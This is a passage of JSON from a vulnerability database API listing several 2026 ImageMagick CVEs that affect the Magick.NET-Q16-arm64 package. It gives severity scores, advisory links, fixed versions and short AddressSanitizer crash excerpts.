"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/3e0330721020e0c5bb52e4b77c347527dd71658e", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:05:17Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/3e0330721020e0c5bb52e4b77c347527dd71658e" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126074", "reference_id": "1126074", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126074" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431037", "reference_id": "2431037", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431037" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22770", "reference_id": "CVE-2026-22770", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22770" }, { "reference_url": "https://github.com/advisories/GHSA-39h3-g67r-7g3c", "reference_id": "GHSA-39h3-g67r-7g3c", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-39h3-g67r-7g3c" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-39h3-g67r-7g3c", "reference_id": "GHSA-39h3-g67r-7g3c", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:05:17Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-39h3-g67r-7g3c" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73505?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.2" } ], "aliases": [ "CVE-2026-22770", "GHSA-39h3-g67r-7g3c" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-c9t3-dj85-nfev" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/64215?format=api", "vulnerability_id": "VCID-cm5s-vwdd-8ua3", "summary": "ImageMagick: ImageMagick: Denial of Service via out-of-bounds write", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33536.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.0", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33536.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33536", "reference_id": "", "reference_type": "", "scores": [ { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00577", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33536" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33536", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33536" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8793-7xv6-82cf", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-27T13:44:35Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8793-7xv6-82cf" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33536", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33536" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451849", "reference_id": "2451849", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451849" }, { "reference_url": "https://github.com/advisories/GHSA-8793-7xv6-82cf", "reference_id": "GHSA-8793-7xv6-82cf", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-8793-7xv6-82cf" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/112877?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.11.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.11.1" } ], "aliases": [ "CVE-2026-33536", "GHSA-8793-7xv6-82cf" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cm5s-vwdd-8ua3" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50887?format=api", "vulnerability_id": "VCID-cnvc-vfa2-z3fq", "summary": "ImageMagick has Heap Buffer Over-Read in BilateralBlurImage\nBilateralBlurImage contains a heap buffer over-read caused by an incorrect conversion. When processing a crafted image with the `-bilateral-blur` operation an out of bounds read can occur.\n\n```\n=================================================================\n==676172==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a0000079c0 at pc 0x57b483c722f7 bp 0x7fffc0acd380 sp 0x7fffc0acd370\nREAD of size 4 at 0x50a0000079c0 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30935.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30935.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30935", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00017", "scoring_system": "epss", "scoring_elements": "0.04451", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30935" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445899", "reference_id": "2445899", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445899" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30935", "reference_id": "CVE-2026-30935", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30935" }, { "reference_url": "https://github.com/advisories/GHSA-cqw9-w2m7-r2m2", "reference_id": "GHSA-cqw9-w2m7-r2m2", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-cqw9-w2m7-r2m2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cqw9-w2m7-r2m2", "reference_id": "GHSA-cqw9-w2m7-r2m2", "reference_type": "", "scores": [ { "value": "4.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:50:49Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cqw9-w2m7-r2m2" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-30935", "GHSA-cqw9-w2m7-r2m2" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cnvc-vfa2-z3fq" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50314?format=api", "vulnerability_id": "VCID-cpn3-kr6q-2ugv", "summary": "ImageMagick: Heap overflow in sun decoder on 32-bit systems may result in out of bounds write\nAn Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write.\n\n```\n=================================================================\n==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0\nWRITE of size 1 at 0xf190b50e thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25897.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25897.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25897", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00023", "scoring_system": "epss", "scoring_elements": "0.0671", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25897" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25897", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25897" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/23fde73188ea32c15b607571775d4f92bdb75e60", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/23fde73188ea32c15b607571775d4f92bdb75e60" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442098", "reference_id": "2442098", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442098" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25897", "reference_id": "CVE-2026-25897", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25897" }, { "reference_url": "https://github.com/advisories/GHSA-6j5f-24fw-pqp4", "reference_id": "GHSA-6j5f-24fw-pqp4", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-6j5f-24fw-pqp4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6j5f-24fw-pqp4", "reference_id": "GHSA-6j5f-24fw-pqp4", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:23:43Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6j5f-24fw-pqp4" }, { "reference_url": "https://usn.ubuntu.com/8069-1/", "reference_id": "USN-8069-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8069-1/" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25897", "GHSA-6j5f-24fw-pqp4" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-cpn3-kr6q-2ugv" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/64806?format=api", "vulnerability_id": "VCID-cz6h-xcea-s3fn", "summary": "ImageMagick: ImageMagick: Denial of Service via out-of-bounds write in NewXMLTree method", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-32636.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-32636.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32636", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.05688", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-32636" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32636", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32636" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.11.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-19T14:54:31Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.11.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-17", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-19T14:54:31Z/" } ], 